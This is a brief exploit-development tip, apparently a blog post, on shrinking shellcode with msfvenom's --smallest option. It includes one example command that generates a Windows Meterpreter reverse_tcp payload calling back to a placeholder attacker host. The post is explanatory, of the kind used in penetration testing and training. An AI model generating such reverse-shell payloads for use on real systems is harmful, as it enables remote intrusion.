Skip to main content

How to generate smallest shellcode ? (msfvenom)

During exploit development sometimes we have a smaller buffer or part of buffer mangle the shellcode even when removing the bad characters. There are several solutions such as egghunter, build a custom shellcode and easiest option would try to use msfvenom with –smallest parameter.

Example:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 -b "\x00\x0a\x1a" -f py -v shellcode --smallest